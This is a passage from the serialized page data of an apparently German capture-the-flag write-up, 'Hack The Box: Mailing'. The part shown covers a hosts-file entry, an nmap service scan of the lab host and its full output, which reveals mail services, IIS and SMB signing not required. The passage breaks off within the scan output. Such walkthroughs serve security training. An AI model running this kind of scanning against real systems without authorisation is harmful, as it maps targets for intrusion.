[{"data":1,"prerenderedAt":5264},["ShallowReactive",2],{"post-hack-the-box-mailing":3,"post-list":5000},{"id":4,"title":5,"alsoIn":6,"body":7,"category":4985,"date":4986,"description":4987,"draft":4988,"extension":4989,"image":4990,"links":6,"meta":4991,"navigation":2476,"order":6,"path":4992,"readingTime":223,"seo":4993,"series":6,"stem":4994,"strength":4995,"tags":4996,"unlisted":4988,"updated":6,"__hash__":4999},"posts\u002Fposts\u002Fhack-the-box-mailing.md","Hack The Box: Mailing",null,{"type":8,"value":9,"toc":4983},"minimark",[10,14,21,24,56,61,2979,2982,2987,2990,2993,3005,3008,3011,3016,3019,3024,3860,3863,3870,3873,3878,3881,3886,3889,3892,3900,3905,3908,3911,3927,3930,3936,3939,3958,3961,3964,4037,4040,4043,4048,4051,4056,4062,4065,4070,4788,4791,4796,4799,4804,4807,4812,4815,4820,4823,4828,4831,4836,4844,4849,4852,4856,4859,4864,4867,4872,4875,4880,4883,4888,4891,4896,4899,4904,4907,4912,4915,4920,4923,4928,4931,4934,4939,4942,4947,4950,4955,4958,4963,4966,4971,4974,4979],[11,12,13],"p",{},"Im ersten Schritt lege ich mir wie immer einen Eintrag in der Hosts-File an.",[11,15,16],{},[17,18],"img",{"alt":19,"src":20},"","\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626185920879.webp",[11,22,23],{},"Anschließend führe ich einen NMAP-Scan durch.",[25,26,30],"pre",{"className":27,"code":28,"language":29,"meta":19,"style":19},"language-bash shiki shiki-themes gruvbox-dark-medium","nmap mailing.htb -vv -sV -sC\n","bash",[31,32,33],"code",{"__ignoreMap":19},[34,35,38,42,46,50,53],"span",{"class":36,"line":37},"line",1,[34,39,41],{"class":40},"s59W0","nmap",[34,43,45],{"class":44},"sTqo2"," mailing.htb",[34,47,49],{"class":48},"ssIPD"," -vv",[34,51,52],{"class":48}," -sV",[34,54,55],{"class":48}," -sC\n",[11,57,58],{},[17,59],{"alt":19,"src":60},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626190548728.webp",[25,62,64],{"className":27,"code":63,"language":29,"meta":19,"style":19},"┌─[root@htb-n5zcg6mczv]─[\u002Fhome\u002Fnobrac]\n└──╼ #nmap mailing.htb -vv -sV -sC\nStarting Nmap 7.93 ( https:\u002F\u002Fnmap.org ) at 2024-06-23 13:31 BST\nNSE: Loaded 155 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 13:31\nCompleted NSE at 13:31, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 13:31\nCompleted NSE at 13:31, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 13:31\nCompleted NSE at 13:31, 0.00s elapsed\nInitiating Ping Scan at 13:31\nScanning mailing.htb (10.129.231.40) [4 ports]\nCompleted Ping Scan at 13:31, 0.03s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 13:31\nScanning mailing.htb (10.129.231.40) [1000 ports]\nDiscovered open port 587\u002Ftcp on 10.129.231.40\nDiscovered open port 25\u002Ftcp on 10.129.231.40\nDiscovered open port 135\u002Ftcp on 10.129.231.40\nDiscovered open port 80\u002Ftcp on 10.129.231.40\nDiscovered open port 110\u002Ftcp on 10.129.231.40\nDiscovered open port 139\u002Ftcp on 10.129.231.40\nDiscovered open port 993\u002Ftcp on 10.129.231.40\nDiscovered open port 445\u002Ftcp on 10.129.231.40\nDiscovered open port 143\u002Ftcp on 10.129.231.40\nDiscovered open port 465\u002Ftcp on 10.129.231.40\nCompleted SYN Stealth Scan at 13:31, 4.65s elapsed (1000 total ports)\nInitiating Service scan at 13:31\nScanning 10 services on mailing.htb (10.129.231.40)\nCompleted Service scan at 13:31, 19.75s elapsed (10 services on 1 host)\nNSE: Script scanning 10.129.231.40.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 13:31\nNSE Timing: About 99.93% done; ETC: 13:31 (0:00:00 remaining)\nCompleted NSE at 13:32, 40.05s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 13:32\nCompleted NSE at 13:32, 1.62s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 13:32\nCompleted NSE at 13:32, 0.00s elapsed\nNmap scan report for mailing.htb (10.129.231.40)\nHost is up, received echo-reply ttl 127 (0.0097s latency).\nScanned at 2024-06-23 13:31:00 BST for 66s\nNot shown: 990 filtered tcp ports (no-response)\nPORT    STATE SERVICE       REASON          VERSION\n25\u002Ftcp  open  smtp          syn-ack ttl 127 hMailServer smtpd\n| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP\n|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\n80\u002Ftcp  open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0\n|_http-server-header: Microsoft-IIS\u002F10.0\n|_http-title: Mailing\n| http-methods: \n|   Supported Methods: OPTIONS TRACE GET HEAD POST\n|_  Potentially risky methods: TRACE\n110\u002Ftcp open  pop3          syn-ack ttl 127 hMailServer pop3d\n|_pop3-capabilities: TOP UIDL USER\n135\u002Ftcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC\n139\u002Ftcp open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn\n143\u002Ftcp open  imap          syn-ack ttl 127 hMailServer imapd\n|_imap-capabilities: ACL IMAP4rev1 SORT IMAP4 CHILDREN completed CAPABILITY OK RIGHTS=texkA0001 QUOTA NAMESPACE IDLE\n445\u002Ftcp open  microsoft-ds? syn-ack ttl 127\n465\u002Ftcp open  ssl\u002Fsmtp      syn-ack ttl 127 hMailServer smtpd\n| ssl-cert: Subject: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Issuer: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Public Key type: rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2024-02-27T18:24:10\n| Not valid after:  2029-10-06T18:24:10\n| MD5:   bd32df3f1d1608b899d2e39b6467297e\n| SHA-1: 5c3e5265c5bc68abaaac0d8fab8d90b47895a3d7\n| -----BEGIN CERTIFICATE-----\n| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP\n| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp\n| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV\n| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw\n| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx\n| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h\n| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0\n| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B\n| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E\n| wO5lTt\u002F9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv\u002Ff\n| i3xF2oo3Km6EddnUySRuvj8srEu\u002F2REe\u002FIp2cIj85PGDOEYsp1MmjM8ser+VQC8i\n| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG\n| pyERkp8reJe2a1u1Gl\u002FaOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4\n| OHC8uYfnQAITdP76Kt\u002FFO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3\n| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY\n| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx\n| Qgsu0BFYnMB\u002F9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g\n| ZQ3JHR8iU4thF\u002Ft6pYlOcVMs5WCUhKKM4jyucvZ\u002FC9ug9hg3YsEWxlDwyLHmT\u002F4R\n| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut\n| spvR6dxGnhAPqngRD4sTLBWxyTTR\u002FbrJeS\u002Fk\n|_-----END CERTIFICATE-----\n|_ssl-date: TLS randomness does not represent time\n| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP\n|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\n587\u002Ftcp open  smtp          syn-ack ttl 127 hMailServer smtpd\n| ssl-cert: Subject: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Issuer: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Public Key type: rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2024-02-27T18:24:10\n| Not valid after:  2029-10-06T18:24:10\n| MD5:   bd32df3f1d1608b899d2e39b6467297e\n| SHA-1: 5c3e5265c5bc68abaaac0d8fab8d90b47895a3d7\n| -----BEGIN CERTIFICATE-----\n| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP\n| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp\n| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV\n| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw\n| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx\n| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h\n| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0\n| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B\n| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E\n| wO5lTt\u002F9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv\u002Ff\n| i3xF2oo3Km6EddnUySRuvj8srEu\u002F2REe\u002FIp2cIj85PGDOEYsp1MmjM8ser+VQC8i\n| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG\n| pyERkp8reJe2a1u1Gl\u002FaOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4\n| OHC8uYfnQAITdP76Kt\u002FFO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3\n| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY\n| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx\n| Qgsu0BFYnMB\u002F9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g\n| ZQ3JHR8iU4thF\u002Ft6pYlOcVMs5WCUhKKM4jyucvZ\u002FC9ug9hg3YsEWxlDwyLHmT\u002F4R\n| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut\n| spvR6dxGnhAPqngRD4sTLBWxyTTR\u002FbrJeS\u002Fk\n|_-----END CERTIFICATE-----\n|_ssl-date: TLS randomness does not represent time\n| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP\n|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\n993\u002Ftcp open  ssl\u002Fimap      syn-ack ttl 127 hMailServer imapd\n| ssl-cert: Subject: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Issuer: commonName=mailing.htb\u002ForganizationName=Mailing Ltd\u002FstateOrProvinceName=EU\\Spain\u002FcountryName=EU\u002FemailAddress=ruy@mailing.htb\u002FlocalityName=Madrid\u002ForganizationalUnitName=MAILING\n| Public Key type: rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2024-02-27T18:24:10\n| Not valid after:  2029-10-06T18:24:10\n| MD5:   bd32df3f1d1608b899d2e39b6467297e\n| SHA-1: 5c3e5265c5bc68abaaac0d8fab8d90b47895a3d7\n| -----BEGIN CERTIFICATE-----\n| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP\n| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp\n| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV\n| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw\n| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx\n| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h\n| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0\n| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B\n| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E\n| wO5lTt\u002F9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv\u002Ff\n| i3xF2oo3Km6EddnUySRuvj8srEu\u002F2REe\u002FIp2cIj85PGDOEYsp1MmjM8ser+VQC8i\n| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG\n| pyERkp8reJe2a1u1Gl\u002FaOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4\n| OHC8uYfnQAITdP76Kt\u002FFO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3\n| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY\n| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx\n| Qgsu0BFYnMB\u002F9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g\n| ZQ3JHR8iU4thF\u002Ft6pYlOcVMs5WCUhKKM4jyucvZ\u002FC9ug9hg3YsEWxlDwyLHmT\u002F4R\n| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut\n| spvR6dxGnhAPqngRD4sTLBWxyTTR\u002FbrJeS\u002Fk\n|_-----END CERTIFICATE-----\n|_ssl-date: TLS randomness does not represent time\n|_imap-capabilities: ACL IMAP4rev1 SORT IMAP4 CHILDREN completed CAPABILITY OK RIGHTS=texkA0001 QUOTA NAMESPACE IDLE\nService Info: OS: Windows; CPE: cpe:\u002Fo:microsoft:windows\n\nHost script results:\n| p2p-conficker: \n|   Checking for Conficker.C or higher...\n|   Check 1 (port 53881\u002Ftcp): CLEAN (Timeout)\n|   Check 2 (port 33297\u002Ftcp): CLEAN (Timeout)\n|   Check 3 (port 52444\u002Fudp): CLEAN (Timeout)\n|   Check 4 (port 33397\u002Fudp): CLEAN (Timeout)\n|_  0\u002F4 checks are positive: Host is CLEAN or ports are blocked\n|_clock-skew: 0s\n| smb2-security-mode: \n|   311: \n|_    Message signing enabled but not required\n| smb2-time: \n|   date: 2024-06-23T12:31:29\n|_  start_date: N\u002FA\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 13:32\nCompleted NSE at 13:32, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 13:32\nCompleted NSE at 13:32, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 13:32\nCompleted NSE at 13:32, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 66.58 seconds\n           Raw packets sent: 1995 (87.756KB) | Rcvd: 12 (512B)\n",[31,65,66,71,81,103,124,135,158,173,192,210,221,236,254,265,280,295,319,350,367,385,406,422,438,454,470,486,502,518,534,550,579,594,612,645,658,675,686,722,739,756,768,784,801,812,827,844,877,899,922,940,965,996,1040,1069,1080,1091,1102,1128,1147,1169,1186,1212,1237,1259,1303,1322,1344,1367,1383,1400,1415,1429,1446,1461,1472,1483,1494,1502,1510,1518,1526,1534,1542,1550,1558,1566,1574,1582,1590,1598,1606,1614,1622,1630,1638,1646,1654,1664,1690,1711,1742,1762,1779,1794,1807,1820,1831,1844,1857,1866,1875,1884,1891,1898,1905,1912,1919,1926,1933,1940,1947,1954,1961,1968,1975,1982,1989,1996,2003,2010,2017,2024,2033,2052,2076,2107,2128,2145,2160,2173,2186,2197,2210,2223,2232,2241,2250,2257,2264,2271,2278,2285,2292,2299,2306,2313,2320,2327,2334,2341,2348,2355,2362,2369,2376,2383,2390,2399,2418,2449,2471,2478,2489,2499,2518,2542,2562,2582,2603,2639,2650,2660,2670,2694,2704,2715,2728,2733,2743,2760,2771,2786,2803,2814,2829,2846,2857,2872,2890,2923,2950],{"__ignoreMap":19},[34,67,68],{"class":36,"line":37},[34,69,70],{"class":40},"┌─[root@htb-n5zcg6mczv]─[\u002Fhome\u002Fnobrac]\n",[34,72,74,77],{"class":36,"line":73},2,[34,75,76],{"class":40},"└──╼",[34,78,80],{"class":79},"s-UKz"," #nmap mailing.htb -vv -sV -sC\n",[34,82,84,87,90,93,97,100],{"class":36,"line":83},3,[34,85,86],{"class":40},"Starting",[34,88,89],{"class":44}," Nmap",[34,91,92],{"class":48}," 7.93",[34,94,96],{"class":95},"sM0OT"," ( ",[34,98,99],{"class":44},"https:\u002F\u002Fnmap.org",[34,101,102],{"class":95}," ) at 2024-06-23 13:31 BST\n",[34,104,106,109,112,115,118,121],{"class":36,"line":105},4,[34,107,108],{"class":40},"NSE:",[34,110,111],{"class":44}," Loaded",[34,113,114],{"class":48}," 155",[34,116,117],{"class":44}," scripts",[34,119,120],{"class":44}," for",[34,122,123],{"class":44}," scanning.\n",[34,125,127,129,132],{"class":36,"line":126},5,[34,128,108],{"class":40},[34,130,131],{"class":44}," Script",[34,133,134],{"class":44}," Pre-scanning.\n",[34,136,138,140,143,146,149,152,155],{"class":36,"line":137},6,[34,139,108],{"class":40},[34,141,142],{"class":44}," Starting",[34,144,145],{"class":44}," runlevel",[34,147,148],{"class":48}," 1",[34,150,151],{"class":95}," (of ",[34,153,154],{"class":48},"3",[34,156,157],{"class":95},") scan.\n",[34,159,161,164,167,170],{"class":36,"line":160},7,[34,162,163],{"class":40},"Initiating",[34,165,166],{"class":44}," NSE",[34,168,169],{"class":44}," at",[34,171,172],{"class":44}," 13:31\n",[34,174,176,179,181,183,186,189],{"class":36,"line":175},8,[34,177,178],{"class":40},"Completed",[34,180,166],{"class":44},[34,182,169],{"class":44},[34,184,185],{"class":44}," 13:31,",[34,187,188],{"class":44}," 0.00s",[34,190,191],{"class":44}," elapsed\n",[34,193,195,197,199,201,204,206,208],{"class":36,"line":194},9,[34,196,108],{"class":40},[34,198,142],{"class":44},[34,200,145],{"class":44},[34,202,203],{"class":48}," 2",[34,205,151],{"class":95},[34,207,154],{"class":48},[34,209,157],{"class":95},[34,211,213,215,217,219],{"class":36,"line":212},10,[34,214,163],{"class":40},[34,216,166],{"class":44},[34,218,169],{"class":44},[34,220,172],{"class":44},[34,222,224,226,228,230,232,234],{"class":36,"line":223},11,[34,225,178],{"class":40},[34,227,166],{"class":44},[34,229,169],{"class":44},[34,231,185],{"class":44},[34,233,188],{"class":44},[34,235,191],{"class":44},[34,237,239,241,243,245,248,250,252],{"class":36,"line":238},12,[34,240,108],{"class":40},[34,242,142],{"class":44},[34,244,145],{"class":44},[34,246,247],{"class":48}," 3",[34,249,151],{"class":95},[34,251,154],{"class":48},[34,253,157],{"class":95},[34,255,257,259,261,263],{"class":36,"line":256},13,[34,258,163],{"class":40},[34,260,166],{"class":44},[34,262,169],{"class":44},[34,264,172],{"class":44},[34,266,268,270,272,274,276,278],{"class":36,"line":267},14,[34,269,178],{"class":40},[34,271,166],{"class":44},[34,273,169],{"class":44},[34,275,185],{"class":44},[34,277,188],{"class":44},[34,279,191],{"class":44},[34,281,283,285,288,291,293],{"class":36,"line":282},15,[34,284,163],{"class":40},[34,286,287],{"class":44}," Ping",[34,289,290],{"class":44}," Scan",[34,292,169],{"class":44},[34,294,172],{"class":44},[34,296,298,301,303,306,310,313,316],{"class":36,"line":297},16,[34,299,300],{"class":40},"Scanning",[34,302,45],{"class":44},[34,304,305],{"class":95}," (10.129.231.40) ",[34,307,309],{"class":308},"sG605","[",[34,311,312],{"class":48},"4",[34,314,315],{"class":95}," ports",[34,317,318],{"class":308},"]\n",[34,320,322,324,326,328,330,332,335,338,341,344,347],{"class":36,"line":321},17,[34,323,178],{"class":40},[34,325,287],{"class":44},[34,327,290],{"class":44},[34,329,169],{"class":44},[34,331,185],{"class":44},[34,333,334],{"class":44}," 0.03s",[34,336,337],{"class":44}," elapsed",[34,339,340],{"class":95}," (1 ",[34,342,343],{"class":44},"total",[34,345,346],{"class":44}," hosts",[34,348,349],{"class":95},")\n",[34,351,353,355,358,361,363,365],{"class":36,"line":352},18,[34,354,163],{"class":40},[34,356,357],{"class":44}," SYN",[34,359,360],{"class":44}," Stealth",[34,362,290],{"class":44},[34,364,169],{"class":44},[34,366,172],{"class":44},[34,368,370,372,374,376,378,381,383],{"class":36,"line":369},19,[34,371,300],{"class":40},[34,373,45],{"class":44},[34,375,305],{"class":95},[34,377,309],{"class":308},[34,379,380],{"class":48},"1000",[34,382,315],{"class":95},[34,384,318],{"class":308},[34,386,388,391,394,397,400,403],{"class":36,"line":387},20,[34,389,390],{"class":40},"Discovered",[34,392,393],{"class":44}," open",[34,395,396],{"class":44}," port",[34,398,399],{"class":44}," 587\u002Ftcp",[34,401,402],{"class":44}," on",[34,404,405],{"class":48}," 10.129.231.40\n",[34,407,409,411,413,415,418,420],{"class":36,"line":408},21,[34,410,390],{"class":40},[34,412,393],{"class":44},[34,414,396],{"class":44},[34,416,417],{"class":44}," 25\u002Ftcp",[34,419,402],{"class":44},[34,421,405],{"class":48},[34,423,425,427,429,431,434,436],{"class":36,"line":424},22,[34,426,390],{"class":40},[34,428,393],{"class":44},[34,430,396],{"class":44},[34,432,433],{"class":44}," 135\u002Ftcp",[34,435,402],{"class":44},[34,437,405],{"class":48},[34,439,441,443,445,447,450,452],{"class":36,"line":440},23,[34,442,390],{"class":40},[34,444,393],{"class":44},[34,446,396],{"class":44},[34,448,449],{"class":44}," 80\u002Ftcp",[34,451,402],{"class":44},[34,453,405],{"class":48},[34,455,457,459,461,463,466,468],{"class":36,"line":456},24,[34,458,390],{"class":40},[34,460,393],{"class":44},[34,462,396],{"class":44},[34,464,465],{"class":44}," 110\u002Ftcp",[34,467,402],{"class":44},[34,469,405],{"class":48},[34,471,473,475,477,479,482,484],{"class":36,"line":472},25,[34,474,390],{"class":40},[34,476,393],{"class":44},[34,478,396],{"class":44},[34,480,481],{"class":44}," 139\u002Ftcp",[34,483,402],{"class":44},[34,485,405],{"class":48},[34,487,489,491,493,495,498,500],{"class":36,"line":488},26,[34,490,390],{"class":40},[34,492,393],{"class":44},[34,494,396],{"class":44},[34,496,497],{"class":44}," 993\u002Ftcp",[34,499,402],{"class":44},[34,501,405],{"class":48},[34,503,505,507,509,511,514,516],{"class":36,"line":504},27,[34,506,390],{"class":40},[34,508,393],{"class":44},[34,510,396],{"class":44},[34,512,513],{"class":44}," 445\u002Ftcp",[34,515,402],{"class":44},[34,517,405],{"class":48},[34,519,521,523,525,527,530,532],{"class":36,"line":520},28,[34,522,390],{"class":40},[34,524,393],{"class":44},[34,526,396],{"class":44},[34,528,529],{"class":44}," 143\u002Ftcp",[34,531,402],{"class":44},[34,533,405],{"class":48},[34,535,537,539,541,543,546,548],{"class":36,"line":536},29,[34,538,390],{"class":40},[34,540,393],{"class":44},[34,542,396],{"class":44},[34,544,545],{"class":44}," 465\u002Ftcp",[34,547,402],{"class":44},[34,549,405],{"class":48},[34,551,553,555,557,559,561,563,565,568,570,573,575,577],{"class":36,"line":552},30,[34,554,178],{"class":40},[34,556,357],{"class":44},[34,558,360],{"class":44},[34,560,290],{"class":44},[34,562,169],{"class":44},[34,564,185],{"class":44},[34,566,567],{"class":44}," 4.65s",[34,569,337],{"class":44},[34,571,572],{"class":95}," (1000 ",[34,574,343],{"class":44},[34,576,315],{"class":44},[34,578,349],{"class":95},[34,580,582,584,587,590,592],{"class":36,"line":581},31,[34,583,163],{"class":40},[34,585,586],{"class":44}," Service",[34,588,589],{"class":44}," scan",[34,591,169],{"class":44},[34,593,172],{"class":44},[34,595,597,599,602,605,607,609],{"class":36,"line":596},32,[34,598,300],{"class":40},[34,600,601],{"class":48}," 10",[34,603,604],{"class":44}," services",[34,606,402],{"class":44},[34,608,45],{"class":44},[34,610,611],{"class":95}," (10.129.231.40)\n",[34,613,615,617,619,621,623,625,628,630,633,636,638,640,643],{"class":36,"line":614},33,[34,616,178],{"class":40},[34,618,586],{"class":44},[34,620,589],{"class":44},[34,622,169],{"class":44},[34,624,185],{"class":44},[34,626,627],{"class":44}," 19.75s",[34,629,337],{"class":44},[34,631,632],{"class":95}," (10 ",[34,634,635],{"class":44},"services",[34,637,402],{"class":44},[34,639,148],{"class":48},[34,641,642],{"class":44}," host",[34,644,349],{"class":95},[34,646,648,650,652,655],{"class":36,"line":647},34,[34,649,108],{"class":40},[34,651,131],{"class":44},[34,653,654],{"class":44}," scanning",[34,656,657],{"class":44}," 10.129.231.40.\n",[34,659,661,663,665,667,669,671,673],{"class":36,"line":660},35,[34,662,108],{"class":40},[34,664,142],{"class":44},[34,666,145],{"class":44},[34,668,148],{"class":48},[34,670,151],{"class":95},[34,672,154],{"class":48},[34,674,157],{"class":95},[34,676,678,680,682,684],{"class":36,"line":677},36,[34,679,163],{"class":40},[34,681,166],{"class":44},[34,683,169],{"class":44},[34,685,172],{"class":44},[34,687,689,692,695,698,701,704,708,711,714,717,720],{"class":36,"line":688},37,[34,690,691],{"class":40},"NSE",[34,693,694],{"class":44}," Timing:",[34,696,697],{"class":44}," About",[34,699,700],{"class":44}," 99.93%",[34,702,703],{"class":44}," done",[34,705,707],{"class":706},"svnLg",";",[34,709,710],{"class":40}," ETC:",[34,712,713],{"class":44}," 13:31",[34,715,716],{"class":95}," (0:00:00 ",[34,718,719],{"class":44},"remaining",[34,721,349],{"class":95},[34,723,725,727,729,731,734,737],{"class":36,"line":724},38,[34,726,178],{"class":40},[34,728,166],{"class":44},[34,730,169],{"class":44},[34,732,733],{"class":44}," 13:32,",[34,735,736],{"class":44}," 40.05s",[34,738,191],{"class":44},[34,740,742,744,746,748,750,752,754],{"class":36,"line":741},39,[34,743,108],{"class":40},[34,745,142],{"class":44},[34,747,145],{"class":44},[34,749,203],{"class":48},[34,751,151],{"class":95},[34,753,154],{"class":48},[34,755,157],{"class":95},[34,757,759,761,763,765],{"class":36,"line":758},40,[34,760,163],{"class":40},[34,762,166],{"class":44},[34,764,169],{"class":44},[34,766,767],{"class":44}," 